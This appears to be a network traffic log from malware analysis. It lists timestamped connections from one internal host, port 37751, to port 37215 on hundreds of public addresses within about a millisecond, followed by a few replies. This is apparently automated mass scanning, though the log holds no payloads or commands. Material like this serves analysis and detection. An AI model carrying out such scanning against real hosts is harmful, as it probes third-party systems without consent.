Jan 1, 2024 12:51:43.977699041 CET	37751	37215	192.168.2.13	41.214.8.114
Jan 1, 2024 12:51:43.977699041 CET	37751	37215	192.168.2.13	156.216.209.28
Jan 1, 2024 12:51:43.977704048 CET	37751	37215	192.168.2.13	41.75.59.202
Jan 1, 2024 12:51:43.977704048 CET	37751	37215	192.168.2.13	41.115.245.117
Jan 1, 2024 12:51:43.977718115 CET	37751	37215	192.168.2.13	41.183.106.41
Jan 1, 2024 12:51:43.977722883 CET	37751	37215	192.168.2.13	197.175.109.175
Jan 1, 2024 12:51:43.977724075 CET	37751	37215	192.168.2.13	41.81.34.121
Jan 1, 2024 12:51:43.977724075 CET	37751	37215	192.168.2.13	37.183.58.241
Jan 1, 2024 12:51:43.977724075 CET	37751	37215	192.168.2.13	186.148.84.138
Jan 1, 2024 12:51:43.977725029 CET	37751	37215	192.168.2.13	94.140.34.222
Jan 1, 2024 12:51:43.977724075 CET	37751	37215	192.168.2.13	156.234.89.208
Jan 1, 2024 12:51:43.977726936 CET	37751	37215	192.168.2.13	197.126.9.156
Jan 1, 2024 12:51:43.977726936 CET	37751	37215	192.168.2.13	41.143.83.130
Jan 1, 2024 12:51:43.977735043 CET	37751	37215	192.168.2.13	156.77.131.218
Jan 1, 2024 12:51:43.977735043 CET	37751	37215	192.168.2.13	190.7.8.199
Jan 1, 2024 12:51:43.977735043 CET	37751	37215	192.168.2.13	197.207.227.184
Jan 1, 2024 12:51:43.977739096 CET	37751	37215	192.168.2.13	197.85.211.54
Jan 1, 2024 12:51:43.977744102 CET	37751	37215	192.168.2.13	41.116.49.86
Jan 1, 2024 12:51:43.977744102 CET	37751	37215	192.168.2.13	197.93.134.215
Jan 1, 2024 12:51:43.977744102 CET	37751	37215	192.168.2.13	41.81.28.6
Jan 1, 2024 12:51:43.977746010 CET	37751	37215	192.168.2.13	197.67.62.142
Jan 1, 2024 12:51:43.977747917 CET	37751	37215	192.168.2.13	156.96.57.169
Jan 1, 2024 12:51:43.977747917 CET	37751	37215	192.168.2.13	160.185.20.133
Jan 1, 2024 12:51:43.977747917 CET	37751	37215	192.168.2.13	45.80.72.89
Jan 1, 2024 12:51:43.977749109 CET	37751	37215	192.168.2.13	121.92.132.154
Jan 1, 2024 12:51:43.977749109 CET	37751	37215	192.168.2.13	222.19.73.143
Jan 1, 2024 12:51:43.977749109 CET	37751	37215	192.168.2.13	156.8.188.182
Jan 1, 2024 12:51:43.977761030 CET	37751	37215	192.168.2.13	41.181.50.35
Jan 1, 2024 12:51:43.977765083 CET	37751	37215	192.168.2.13	154.40.1.191
Jan 1, 2024 12:51:43.977770090 CET	37751	37215	192.168.2.13	37.38.190.157
Jan 1, 2024 12:51:43.977776051 CET	37751	37215	192.168.2.13	102.250.119.100
Jan 1, 2024 12:51:43.977780104 CET	37751	37215	192.168.2.13	41.178.120.137
Jan 1, 2024 12:51:43.977796078 CET	37751	37215	192.168.2.13	156.120.35.135
Jan 1, 2024 12:51:43.977799892 CET	37751	37215	192.168.2.13	156.57.178.125
Jan 1, 2024 12:51:43.977801085 CET	37751	37215	192.168.2.13	197.178.191.186
Jan 1, 2024 12:51:43.977802992 CET	37751	37215	192.168.2.13	197.207.120.49
Jan 1, 2024 12:51:43.977802992 CET	37751	37215	192.168.2.13	156.193.79.215
Jan 1, 2024 12:51:43.977802992 CET	37751	37215	192.168.2.13	197.56.116.117
Jan 1, 2024 12:51:43.977809906 CET	37751	37215	192.168.2.13	156.121.121.193
Jan 1, 2024 12:51:43.977811098 CET	37751	37215	192.168.2.13	197.97.130.146
Jan 1, 2024 12:51:43.977812052 CET	37751	37215	192.168.2.13	156.241.233.72
Jan 1, 2024 12:51:43.977812052 CET	37751	37215	192.168.2.13	156.140.127.135
Jan 1, 2024 12:51:43.977819920 CET	37751	37215	192.168.2.13	41.82.120.22
Jan 1, 2024 12:51:43.977819920 CET	37751	37215	192.168.2.13	41.217.138.50
Jan 1, 2024 12:51:43.977823019 CET	37751	37215	192.168.2.13	41.80.65.128
Jan 1, 2024 12:51:43.977823019 CET	37751	37215	192.168.2.13	41.194.31.73
Jan 1, 2024 12:51:43.977823019 CET	37751	37215	192.168.2.13	190.170.233.49
Jan 1, 2024 12:51:43.977829933 CET	37751	37215	192.168.2.13	121.73.227.194
Jan 1, 2024 12:51:43.977832079 CET	37751	37215	192.168.2.13	120.142.132.32
Jan 1, 2024 12:51:43.977832079 CET	37751	37215	192.168.2.13	156.121.176.50
Jan 1, 2024 12:51:43.977834940 CET	37751	37215	192.168.2.13	197.210.39.207
Jan 1, 2024 12:51:43.977838039 CET	37751	37215	192.168.2.13	107.167.172.151
Jan 1, 2024 12:51:43.977838039 CET	37751	37215	192.168.2.13	156.203.18.24
Jan 1, 2024 12:51:43.977838993 CET	37751	37215	192.168.2.13	107.53.226.46
Jan 1, 2024 12:51:43.977838039 CET	37751	37215	192.168.2.13	41.240.30.252
Jan 1, 2024 12:51:43.977838993 CET	37751	37215	192.168.2.13	197.39.161.201
Jan 1, 2024 12:51:43.977838993 CET	37751	37215	192.168.2.13	181.220.18.126
Jan 1, 2024 12:51:43.977847099 CET	37751	37215	192.168.2.13	41.171.49.33
Jan 1, 2024 12:51:43.977847099 CET	37751	37215	192.168.2.13	41.194.34.43
Jan 1, 2024 12:51:43.977849007 CET	37751	37215	192.168.2.13	190.171.145.74
Jan 1, 2024 12:51:43.977849007 CET	37751	37215	192.168.2.13	41.52.94.158
Jan 1, 2024 12:51:43.977849007 CET	37751	37215	192.168.2.13	45.143.172.236
Jan 1, 2024 12:51:43.977852106 CET	37751	37215	192.168.2.13	156.138.98.131
Jan 1, 2024 12:51:43.977852106 CET	37751	37215	192.168.2.13	157.125.163.75
Jan 1, 2024 12:51:43.977853060 CET	37751	37215	192.168.2.13	41.110.129.40
Jan 1, 2024 12:51:43.977853060 CET	37751	37215	192.168.2.13	156.255.230.130
Jan 1, 2024 12:51:43.977854013 CET	37751	37215	192.168.2.13	197.175.66.29
Jan 1, 2024 12:51:43.977854013 CET	37751	37215	192.168.2.13	156.189.9.80
Jan 1, 2024 12:51:43.977871895 CET	37751	37215	192.168.2.13	156.200.32.231
Jan 1, 2024 12:51:43.977871895 CET	37751	37215	192.168.2.13	156.60.28.240
Jan 1, 2024 12:51:43.977878094 CET	37751	37215	192.168.2.13	197.234.19.219
Jan 1, 2024 12:51:43.977880001 CET	37751	37215	192.168.2.13	222.126.101.239
Jan 1, 2024 12:51:43.977880001 CET	37751	37215	192.168.2.13	222.29.104.62
Jan 1, 2024 12:51:43.977880955 CET	37751	37215	192.168.2.13	190.113.116.44
Jan 1, 2024 12:51:43.977880955 CET	37751	37215	192.168.2.13	197.142.54.94
Jan 1, 2024 12:51:43.977886915 CET	37751	37215	192.168.2.13	41.90.10.206
Jan 1, 2024 12:51:43.977888107 CET	37751	37215	192.168.2.13	156.102.13.22
Jan 1, 2024 12:51:43.977889061 CET	37751	37215	192.168.2.13	197.7.73.174
Jan 1, 2024 12:51:43.977895975 CET	37751	37215	192.168.2.13	197.38.32.91
Jan 1, 2024 12:51:43.977902889 CET	37751	37215	192.168.2.13	197.128.145.29
Jan 1, 2024 12:51:43.977904081 CET	37751	37215	192.168.2.13	41.26.227.31
Jan 1, 2024 12:51:43.977906942 CET	37751	37215	192.168.2.13	41.232.44.169
Jan 1, 2024 12:51:43.977904081 CET	37751	37215	192.168.2.13	121.227.185.126
Jan 1, 2024 12:51:43.977904081 CET	37751	37215	192.168.2.13	94.187.181.17
Jan 1, 2024 12:51:43.977910995 CET	37751	37215	192.168.2.13	41.31.226.202
Jan 1, 2024 12:51:43.977910042 CET	37751	37215	192.168.2.13	102.131.234.223
Jan 1, 2024 12:51:43.977904081 CET	37751	37215	192.168.2.13	138.41.149.69
Jan 1, 2024 12:51:43.977910042 CET	37751	37215	192.168.2.13	41.58.88.199
Jan 1, 2024 12:51:43.977915049 CET	37751	37215	192.168.2.13	41.49.136.170
Jan 1, 2024 12:51:43.977910042 CET	37751	37215	192.168.2.13	121.99.117.153
Jan 1, 2024 12:51:43.977910042 CET	37751	37215	192.168.2.13	138.160.27.52
Jan 1, 2024 12:51:43.977910042 CET	37751	37215	192.168.2.13	156.81.26.71
Jan 1, 2024 12:51:43.977920055 CET	37751	37215	192.168.2.13	197.32.3.218
Jan 1, 2024 12:51:43.977925062 CET	37751	37215	192.168.2.13	156.170.89.67
Jan 1, 2024 12:51:43.977926016 CET	37751	37215	192.168.2.13	197.38.40.29
Jan 1, 2024 12:51:43.977926016 CET	37751	37215	192.168.2.13	92.83.59.217
Jan 1, 2024 12:51:43.977927923 CET	37751	37215	192.168.2.13	156.89.121.251
Jan 1, 2024 12:51:43.977927923 CET	37751	37215	192.168.2.13	156.20.18.219
Jan 1, 2024 12:51:43.977931023 CET	37751	37215	192.168.2.13	41.137.43.70
Jan 1, 2024 12:51:43.977931023 CET	37751	37215	192.168.2.13	197.122.200.180
Jan 1, 2024 12:51:43.977943897 CET	37751	37215	192.168.2.13	41.166.180.88
Jan 1, 2024 12:51:43.977945089 CET	37751	37215	192.168.2.13	121.188.51.191
Jan 1, 2024 12:51:43.977958918 CET	37751	37215	192.168.2.13	156.120.125.60
Jan 1, 2024 12:51:43.977958918 CET	37751	37215	192.168.2.13	197.33.159.6
Jan 1, 2024 12:51:43.977958918 CET	37751	37215	192.168.2.13	197.0.19.203
Jan 1, 2024 12:51:43.977962971 CET	37751	37215	192.168.2.13	41.120.220.225
Jan 1, 2024 12:51:43.977967024 CET	37751	37215	192.168.2.13	154.102.222.61
Jan 1, 2024 12:51:43.977967024 CET	37751	37215	192.168.2.13	37.93.28.0
Jan 1, 2024 12:51:43.977986097 CET	37751	37215	192.168.2.13	41.155.226.78
Jan 1, 2024 12:51:43.977988958 CET	37751	37215	192.168.2.13	41.92.9.222
Jan 1, 2024 12:51:43.977988958 CET	37751	37215	192.168.2.13	197.84.180.165
Jan 1, 2024 12:51:43.977988958 CET	37751	37215	192.168.2.13	156.89.243.253
Jan 1, 2024 12:51:43.977996111 CET	37751	37215	192.168.2.13	107.187.191.48
Jan 1, 2024 12:51:43.977997065 CET	37751	37215	192.168.2.13	190.207.9.53
Jan 1, 2024 12:51:43.977998018 CET	37751	37215	192.168.2.13	41.77.127.116
Jan 1, 2024 12:51:43.978018045 CET	37751	37215	192.168.2.13	190.116.249.143
Jan 1, 2024 12:51:43.978018045 CET	37751	37215	192.168.2.13	120.228.107.175
Jan 1, 2024 12:51:43.978020906 CET	37751	37215	192.168.2.13	156.101.243.95
Jan 1, 2024 12:51:43.978022099 CET	37751	37215	192.168.2.13	222.166.108.113
Jan 1, 2024 12:51:43.978022099 CET	37751	37215	192.168.2.13	156.169.117.142
Jan 1, 2024 12:51:43.978024006 CET	37751	37215	192.168.2.13	197.140.176.103
Jan 1, 2024 12:51:43.978024006 CET	37751	37215	192.168.2.13	160.239.44.75
Jan 1, 2024 12:51:43.978029013 CET	37751	37215	192.168.2.13	41.255.78.35
Jan 1, 2024 12:51:43.978559971 CET	37751	37215	192.168.2.13	41.98.55.100
Jan 1, 2024 12:51:43.978559971 CET	37751	37215	192.168.2.13	41.109.207.230
Jan 1, 2024 12:51:43.978576899 CET	37751	37215	192.168.2.13	156.60.40.105
Jan 1, 2024 12:51:43.978579044 CET	37751	37215	192.168.2.13	197.141.116.63
Jan 1, 2024 12:51:43.978578091 CET	37751	37215	192.168.2.13	156.148.124.18
Jan 1, 2024 12:51:43.978581905 CET	37751	37215	192.168.2.13	197.88.164.187
Jan 1, 2024 12:51:43.978593111 CET	37751	37215	192.168.2.13	186.146.236.93
Jan 1, 2024 12:51:43.978593111 CET	37751	37215	192.168.2.13	41.36.73.93
Jan 1, 2024 12:51:43.978601933 CET	37751	37215	192.168.2.13	120.41.164.45
Jan 1, 2024 12:51:43.978601933 CET	37751	37215	192.168.2.13	197.217.133.221
Jan 1, 2024 12:51:43.978612900 CET	37751	37215	192.168.2.13	120.200.83.150
Jan 1, 2024 12:51:43.978620052 CET	37751	37215	192.168.2.13	197.177.172.174
Jan 1, 2024 12:51:43.978620052 CET	37751	37215	192.168.2.13	156.133.19.140
Jan 1, 2024 12:51:43.978622913 CET	37751	37215	192.168.2.13	45.43.41.113
Jan 1, 2024 12:51:43.978624105 CET	37751	37215	192.168.2.13	186.38.112.44
Jan 1, 2024 12:51:43.978624105 CET	37751	37215	192.168.2.13	41.59.146.97
Jan 1, 2024 12:51:43.978632927 CET	37751	37215	192.168.2.13	94.137.248.34
Jan 1, 2024 12:51:43.978632927 CET	37751	37215	192.168.2.13	154.193.62.167
Jan 1, 2024 12:51:43.978632927 CET	37751	37215	192.168.2.13	156.169.139.233
Jan 1, 2024 12:51:43.978652000 CET	37751	37215	192.168.2.13	197.127.74.173
Jan 1, 2024 12:51:43.978656054 CET	37751	37215	192.168.2.13	156.139.38.66
Jan 1, 2024 12:51:43.978656054 CET	37751	37215	192.168.2.13	138.122.238.172
Jan 1, 2024 12:51:43.978658915 CET	37751	37215	192.168.2.13	196.27.47.214
Jan 1, 2024 12:51:43.978661060 CET	37751	37215	192.168.2.13	41.33.222.120
Jan 1, 2024 12:51:43.978671074 CET	37751	37215	192.168.2.13	107.205.148.199
Jan 1, 2024 12:51:43.978674889 CET	37751	37215	192.168.2.13	197.175.224.117
Jan 1, 2024 12:51:43.978678942 CET	37751	37215	192.168.2.13	197.146.64.201
Jan 1, 2024 12:51:43.978684902 CET	37751	37215	192.168.2.13	156.122.244.136
Jan 1, 2024 12:51:43.978688955 CET	37751	37215	192.168.2.13	121.189.206.110
Jan 1, 2024 12:51:43.978689909 CET	37751	37215	192.168.2.13	41.34.145.7
Jan 1, 2024 12:51:43.978694916 CET	37751	37215	192.168.2.13	41.122.97.246
Jan 1, 2024 12:51:43.978710890 CET	37751	37215	192.168.2.13	197.37.186.240
Jan 1, 2024 12:51:43.978713989 CET	37751	37215	192.168.2.13	156.159.137.149
Jan 1, 2024 12:51:43.978714943 CET	37751	37215	192.168.2.13	197.109.235.18
Jan 1, 2024 12:51:43.978741884 CET	37751	37215	192.168.2.13	197.26.174.36
Jan 1, 2024 12:51:43.978741884 CET	37751	37215	192.168.2.13	160.2.71.166
Jan 1, 2024 12:51:43.978745937 CET	37751	37215	192.168.2.13	197.175.72.185
Jan 1, 2024 12:51:43.978745937 CET	37751	37215	192.168.2.13	156.19.196.158
Jan 1, 2024 12:51:43.978750944 CET	37751	37215	192.168.2.13	156.250.228.88
Jan 1, 2024 12:51:43.978751898 CET	37751	37215	192.168.2.13	190.99.37.127
Jan 1, 2024 12:51:43.978759050 CET	37751	37215	192.168.2.13	121.80.175.213
Jan 1, 2024 12:51:43.978776932 CET	37751	37215	192.168.2.13	156.60.230.104
Jan 1, 2024 12:51:43.978779078 CET	37751	37215	192.168.2.13	156.169.39.137
Jan 1, 2024 12:51:43.978779078 CET	37751	37215	192.168.2.13	41.145.53.104
Jan 1, 2024 12:51:43.978779078 CET	37751	37215	192.168.2.13	196.71.85.86
Jan 1, 2024 12:51:43.978780031 CET	37751	37215	192.168.2.13	157.235.183.177
Jan 1, 2024 12:51:43.978780985 CET	37751	37215	192.168.2.13	94.117.19.167
Jan 1, 2024 12:51:43.978779078 CET	37751	37215	192.168.2.13	156.238.21.140
Jan 1, 2024 12:51:43.978790998 CET	37751	37215	192.168.2.13	156.196.136.23
Jan 1, 2024 12:51:43.978790998 CET	37751	37215	192.168.2.13	197.119.5.72
Jan 1, 2024 12:51:43.978801966 CET	37751	37215	192.168.2.13	197.235.8.44
Jan 1, 2024 12:51:43.978806973 CET	37751	37215	192.168.2.13	197.159.231.55
Jan 1, 2024 12:51:43.978820086 CET	37751	37215	192.168.2.13	94.247.82.2
Jan 1, 2024 12:51:43.978820086 CET	37751	37215	192.168.2.13	45.77.28.247
Jan 1, 2024 12:51:43.978822947 CET	37751	37215	192.168.2.13	197.39.252.240
Jan 1, 2024 12:51:43.978827953 CET	37751	37215	192.168.2.13	181.52.202.119
Jan 1, 2024 12:51:43.978837967 CET	37751	37215	192.168.2.13	157.66.118.174
Jan 1, 2024 12:51:43.978846073 CET	37751	37215	192.168.2.13	95.165.164.181
Jan 1, 2024 12:51:43.978846073 CET	37751	37215	192.168.2.13	154.30.125.47
Jan 1, 2024 12:51:43.978849888 CET	37751	37215	192.168.2.13	138.14.212.160
Jan 1, 2024 12:51:43.978849888 CET	37751	37215	192.168.2.13	197.160.215.66
Jan 1, 2024 12:51:43.978862047 CET	37751	37215	192.168.2.13	156.227.132.72
Jan 1, 2024 12:51:43.978874922 CET	37751	37215	192.168.2.13	95.179.241.39
Jan 1, 2024 12:51:43.978878021 CET	37751	37215	192.168.2.13	120.139.33.189
Jan 1, 2024 12:51:43.978882074 CET	37751	37215	192.168.2.13	41.71.196.47
Jan 1, 2024 12:51:43.978894949 CET	37751	37215	192.168.2.13	41.244.113.125
Jan 1, 2024 12:51:43.978897095 CET	37751	37215	192.168.2.13	156.201.121.158
Jan 1, 2024 12:51:43.978899956 CET	37751	37215	192.168.2.13	181.210.105.219
Jan 1, 2024 12:51:43.978904009 CET	37751	37215	192.168.2.13	95.91.5.203
Jan 1, 2024 12:51:43.978919983 CET	37751	37215	192.168.2.13	37.171.128.123
Jan 1, 2024 12:51:43.978919983 CET	37751	37215	192.168.2.13	186.185.206.2
Jan 1, 2024 12:51:43.978924990 CET	37751	37215	192.168.2.13	41.20.152.233
Jan 1, 2024 12:51:43.978935003 CET	37751	37215	192.168.2.13	107.185.208.154
Jan 1, 2024 12:51:43.978941917 CET	37751	37215	192.168.2.13	41.147.102.81
Jan 1, 2024 12:51:43.978954077 CET	37751	37215	192.168.2.13	197.224.87.225
Jan 1, 2024 12:51:43.978955030 CET	37751	37215	192.168.2.13	138.136.185.100
Jan 1, 2024 12:51:43.978960037 CET	37751	37215	192.168.2.13	154.70.13.129
Jan 1, 2024 12:51:43.978960037 CET	37751	37215	192.168.2.13	222.215.119.148
Jan 1, 2024 12:51:43.978966951 CET	37751	37215	192.168.2.13	41.159.182.186
Jan 1, 2024 12:51:43.978971958 CET	37751	37215	192.168.2.13	107.148.10.86
Jan 1, 2024 12:51:43.978976965 CET	37751	37215	192.168.2.13	41.112.67.82
Jan 1, 2024 12:51:43.978976965 CET	37751	37215	192.168.2.13	197.198.189.187
Jan 1, 2024 12:51:43.978977919 CET	37751	37215	192.168.2.13	160.139.148.5
Jan 1, 2024 12:51:43.978984118 CET	37751	37215	192.168.2.13	120.227.198.106
Jan 1, 2024 12:51:43.978992939 CET	37751	37215	192.168.2.13	120.62.103.85
Jan 1, 2024 12:51:43.978993893 CET	37751	37215	192.168.2.13	197.146.132.75
Jan 1, 2024 12:51:43.978996038 CET	37751	37215	192.168.2.13	197.40.130.203
Jan 1, 2024 12:51:43.979003906 CET	37751	37215	192.168.2.13	41.189.122.6
Jan 1, 2024 12:51:43.979012012 CET	37751	37215	192.168.2.13	41.171.60.39
Jan 1, 2024 12:51:43.979012012 CET	37751	37215	192.168.2.13	102.113.248.230
Jan 1, 2024 12:51:43.979015112 CET	37751	37215	192.168.2.13	156.73.251.139
Jan 1, 2024 12:51:43.979015112 CET	37751	37215	192.168.2.13	197.88.217.103
Jan 1, 2024 12:51:43.979022026 CET	37751	37215	192.168.2.13	197.164.208.0
Jan 1, 2024 12:51:43.979027987 CET	37751	37215	192.168.2.13	95.205.212.102
Jan 1, 2024 12:51:43.979043961 CET	37751	37215	192.168.2.13	197.14.125.139
Jan 1, 2024 12:51:43.979043961 CET	37751	37215	192.168.2.13	41.147.234.190
Jan 1, 2024 12:51:43.979043961 CET	37751	37215	192.168.2.13	41.219.28.161
Jan 1, 2024 12:51:43.979043007 CET	37751	37215	192.168.2.13	41.93.203.21
Jan 1, 2024 12:51:43.979043007 CET	37751	37215	192.168.2.13	41.23.153.209
Jan 1, 2024 12:51:43.979051113 CET	37751	37215	192.168.2.13	121.162.173.94
Jan 1, 2024 12:51:43.979060888 CET	37751	37215	192.168.2.13	95.153.3.13
Jan 1, 2024 12:51:43.979062080 CET	37751	37215	192.168.2.13	156.243.185.233
Jan 1, 2024 12:51:43.979074001 CET	37751	37215	192.168.2.13	197.19.28.81
Jan 1, 2024 12:51:43.979084969 CET	37751	37215	192.168.2.13	41.97.40.223
Jan 1, 2024 12:51:43.979085922 CET	37751	37215	192.168.2.13	41.66.27.68
Jan 1, 2024 12:51:43.979085922 CET	37751	37215	192.168.2.13	196.64.28.156
Jan 1, 2024 12:51:43.979104042 CET	37751	37215	192.168.2.13	197.98.104.144
Jan 1, 2024 12:51:43.979104042 CET	37751	37215	192.168.2.13	41.211.87.76
Jan 1, 2024 12:51:43.979105949 CET	37751	37215	192.168.2.13	156.210.229.85
Jan 1, 2024 12:51:43.979109049 CET	37751	37215	192.168.2.13	156.55.168.59
Jan 1, 2024 12:51:43.979109049 CET	37751	37215	192.168.2.13	197.164.152.154
Jan 1, 2024 12:51:43.979111910 CET	37751	37215	192.168.2.13	156.122.93.177
Jan 1, 2024 12:51:43.979120016 CET	37751	37215	192.168.2.13	181.63.7.134
Jan 1, 2024 12:51:43.979120016 CET	37751	37215	192.168.2.13	197.2.111.45
Jan 1, 2024 12:51:43.979120016 CET	37751	37215	192.168.2.13	120.76.95.14
Jan 1, 2024 12:51:43.979120016 CET	37751	37215	192.168.2.13	41.171.238.142
Jan 1, 2024 12:51:43.979121923 CET	37751	37215	192.168.2.13	156.191.192.226
Jan 1, 2024 12:51:43.979120970 CET	37751	37215	192.168.2.13	41.213.116.195
Jan 1, 2024 12:51:43.979125023 CET	37751	37215	192.168.2.13	41.40.155.46
Jan 1, 2024 12:51:43.979125977 CET	37751	37215	192.168.2.13	156.128.161.190
Jan 1, 2024 12:51:43.979125977 CET	37751	37215	192.168.2.13	196.77.243.90
Jan 1, 2024 12:51:43.979151011 CET	37751	37215	192.168.2.13	37.246.125.170
Jan 1, 2024 12:51:43.979160070 CET	37751	37215	192.168.2.13	186.92.127.225
Jan 1, 2024 12:51:43.979160070 CET	37751	37215	192.168.2.13	41.92.113.162
Jan 1, 2024 12:51:43.979162931 CET	37751	37215	192.168.2.13	197.129.241.199
Jan 1, 2024 12:51:43.979163885 CET	37751	37215	192.168.2.13	92.28.217.41
Jan 1, 2024 12:51:43.979162931 CET	37751	37215	192.168.2.13	107.31.167.142
Jan 1, 2024 12:51:43.979163885 CET	37751	37215	192.168.2.13	107.203.82.146
Jan 1, 2024 12:51:43.979162931 CET	37751	37215	192.168.2.13	197.227.40.1
Jan 1, 2024 12:51:43.979163885 CET	37751	37215	192.168.2.13	197.6.36.71
Jan 1, 2024 12:51:43.979172945 CET	37751	37215	192.168.2.13	197.171.62.70
Jan 1, 2024 12:51:43.979173899 CET	37751	37215	192.168.2.13	122.174.241.157
Jan 1, 2024 12:51:43.979172945 CET	37751	37215	192.168.2.13	197.248.202.61
Jan 1, 2024 12:51:43.979173899 CET	37751	37215	192.168.2.13	156.183.27.171
Jan 1, 2024 12:51:43.979176998 CET	37751	37215	192.168.2.13	41.41.155.121
Jan 1, 2024 12:51:43.979176998 CET	37751	37215	192.168.2.13	156.96.62.14
Jan 1, 2024 12:51:43.979178905 CET	37751	37215	192.168.2.13	107.2.7.121
Jan 1, 2024 12:51:43.979178905 CET	37751	37215	192.168.2.13	107.206.217.161
Jan 1, 2024 12:51:43.979181051 CET	37751	37215	192.168.2.13	156.177.110.188
Jan 1, 2024 12:51:43.979183912 CET	37751	37215	192.168.2.13	197.41.153.99
Jan 1, 2024 12:51:43.979183912 CET	37751	37215	192.168.2.13	41.25.30.184
Jan 1, 2024 12:51:43.979185104 CET	37751	37215	192.168.2.13	156.187.199.234
Jan 1, 2024 12:51:43.979185104 CET	37751	37215	192.168.2.13	197.83.175.150
Jan 1, 2024 12:51:43.979192019 CET	37751	37215	192.168.2.13	154.59.248.54
Jan 1, 2024 12:51:43.979203939 CET	37751	37215	192.168.2.13	41.142.91.185
Jan 1, 2024 12:51:43.979216099 CET	37751	37215	192.168.2.13	41.80.135.46
Jan 1, 2024 12:51:43.979218006 CET	37751	37215	192.168.2.13	121.123.18.122
Jan 1, 2024 12:51:43.979218006 CET	37751	37215	192.168.2.13	41.117.52.113
Jan 1, 2024 12:51:43.979218960 CET	37751	37215	192.168.2.13	156.179.147.166
Jan 1, 2024 12:51:43.979227066 CET	37751	37215	192.168.2.13	160.229.210.167
Jan 1, 2024 12:51:43.979232073 CET	37751	37215	192.168.2.13	41.137.113.64
Jan 1, 2024 12:51:43.979232073 CET	37751	37215	192.168.2.13	197.183.134.73
Jan 1, 2024 12:51:43.979232073 CET	37751	37215	192.168.2.13	197.14.189.84
Jan 1, 2024 12:51:43.979233027 CET	37751	37215	192.168.2.13	197.133.66.5
Jan 1, 2024 12:51:43.979233027 CET	37751	37215	192.168.2.13	41.178.71.242
Jan 1, 2024 12:51:43.979234934 CET	37751	37215	192.168.2.13	95.251.131.254
Jan 1, 2024 12:51:43.979234934 CET	37751	37215	192.168.2.13	160.104.163.229
Jan 1, 2024 12:51:43.979238033 CET	37751	37215	192.168.2.13	41.21.210.60
Jan 1, 2024 12:51:43.979238033 CET	37751	37215	192.168.2.13	41.5.132.201
Jan 1, 2024 12:51:43.979249001 CET	37751	37215	192.168.2.13	197.77.226.221
Jan 1, 2024 12:51:43.979249001 CET	37751	37215	192.168.2.13	197.37.37.49
Jan 1, 2024 12:51:43.979249954 CET	37751	37215	192.168.2.13	41.36.167.63
Jan 1, 2024 12:51:43.979249954 CET	37751	37215	192.168.2.13	197.193.55.221
Jan 1, 2024 12:51:43.979275942 CET	37751	37215	192.168.2.13	95.248.22.197
Jan 1, 2024 12:51:43.979278088 CET	37751	37215	192.168.2.13	181.255.218.209
Jan 1, 2024 12:51:43.979281902 CET	37751	37215	192.168.2.13	92.6.48.31
Jan 1, 2024 12:51:43.979285955 CET	37751	37215	192.168.2.13	41.133.32.33
Jan 1, 2024 12:51:43.979295015 CET	37751	37215	192.168.2.13	41.101.24.40
Jan 1, 2024 12:51:43.979295969 CET	37751	37215	192.168.2.13	138.218.189.56
Jan 1, 2024 12:51:43.979295969 CET	37751	37215	192.168.2.13	197.43.220.219
Jan 1, 2024 12:51:43.979300022 CET	37751	37215	192.168.2.13	186.99.46.193
Jan 1, 2024 12:51:43.979305029 CET	37751	37215	192.168.2.13	107.149.72.90
Jan 1, 2024 12:51:43.979305029 CET	37751	37215	192.168.2.13	41.236.185.249
Jan 1, 2024 12:51:43.979306936 CET	37751	37215	192.168.2.13	197.162.148.124
Jan 1, 2024 12:51:43.979310036 CET	37751	37215	192.168.2.13	156.245.251.153
Jan 1, 2024 12:51:43.979310036 CET	37751	37215	192.168.2.13	197.255.238.160
Jan 1, 2024 12:51:43.979310989 CET	37751	37215	192.168.2.13	222.65.126.195
Jan 1, 2024 12:51:43.979311943 CET	37751	37215	192.168.2.13	197.202.195.88
Jan 1, 2024 12:51:43.979316950 CET	37751	37215	192.168.2.13	197.226.131.47
Jan 1, 2024 12:51:43.979316950 CET	37751	37215	192.168.2.13	197.90.138.216
Jan 1, 2024 12:51:43.979316950 CET	37751	37215	192.168.2.13	156.222.255.239
Jan 1, 2024 12:51:43.979321003 CET	37751	37215	192.168.2.13	197.159.178.110
Jan 1, 2024 12:51:43.979321003 CET	37751	37215	192.168.2.13	41.112.78.228
Jan 1, 2024 12:51:43.979329109 CET	37751	37215	192.168.2.13	41.10.228.40
Jan 1, 2024 12:51:43.979329109 CET	37751	37215	192.168.2.13	107.119.77.157
Jan 1, 2024 12:51:43.979330063 CET	37751	37215	192.168.2.13	157.197.174.6
Jan 1, 2024 12:51:43.979330063 CET	37751	37215	192.168.2.13	186.230.193.79
Jan 1, 2024 12:51:43.979331017 CET	37751	37215	192.168.2.13	95.45.227.17
Jan 1, 2024 12:51:43.979331017 CET	37751	37215	192.168.2.13	156.47.18.115
Jan 1, 2024 12:51:43.979331017 CET	37751	37215	192.168.2.13	157.193.207.77
Jan 1, 2024 12:51:43.979332924 CET	37751	37215	192.168.2.13	41.68.123.21
Jan 1, 2024 12:51:43.979334116 CET	37751	37215	192.168.2.13	222.65.242.121
Jan 1, 2024 12:51:43.979356050 CET	37751	37215	192.168.2.13	41.208.117.90
Jan 1, 2024 12:51:43.979356050 CET	37751	37215	192.168.2.13	156.226.187.109
Jan 1, 2024 12:51:43.979356050 CET	37751	37215	192.168.2.13	41.183.10.27
Jan 1, 2024 12:51:43.979370117 CET	37751	37215	192.168.2.13	41.1.218.137
Jan 1, 2024 12:51:43.979372978 CET	37751	37215	192.168.2.13	181.15.90.240
Jan 1, 2024 12:51:43.979372978 CET	37751	37215	192.168.2.13	160.12.146.22
Jan 1, 2024 12:51:43.979379892 CET	37751	37215	192.168.2.13	156.118.44.242
Jan 1, 2024 12:51:43.979480982 CET	37751	37215	192.168.2.13	156.53.36.22
Jan 1, 2024 12:51:43.979481936 CET	37751	37215	192.168.2.13	197.100.238.20
Jan 1, 2024 12:51:43.979501963 CET	37751	37215	192.168.2.13	156.44.113.184
Jan 1, 2024 12:51:44.102545977 CET	37215	37751	156.77.131.218	192.168.2.13
Jan 1, 2024 12:51:44.102665901 CET	37751	37215	192.168.2.13	156.77.131.218
Jan 1, 2024 12:51:44.142263889 CET	37215	37751	156.73.10.21	192.168.2.13
Jan 1, 2024 12:51:44.142304897 CET	37751	37215	192.168.2.13	156.73.10.21
Jan 1, 2024 12:51:44.211711884 CET	37215	37751	190.207.9.53	192.168.2.13
Jan 1, 2024 12:51:44.274152040 CET	37215	37751	190.17.32.140	192.168.2.13
Jan 1, 2024 12:51:44.276485920 CET	37215	37751	197.8.80.113	192.168.2.13
Jan 1, 2024 12:51:44.276542902 CET	37751	37215	192.168.2.13	197.8.80.113
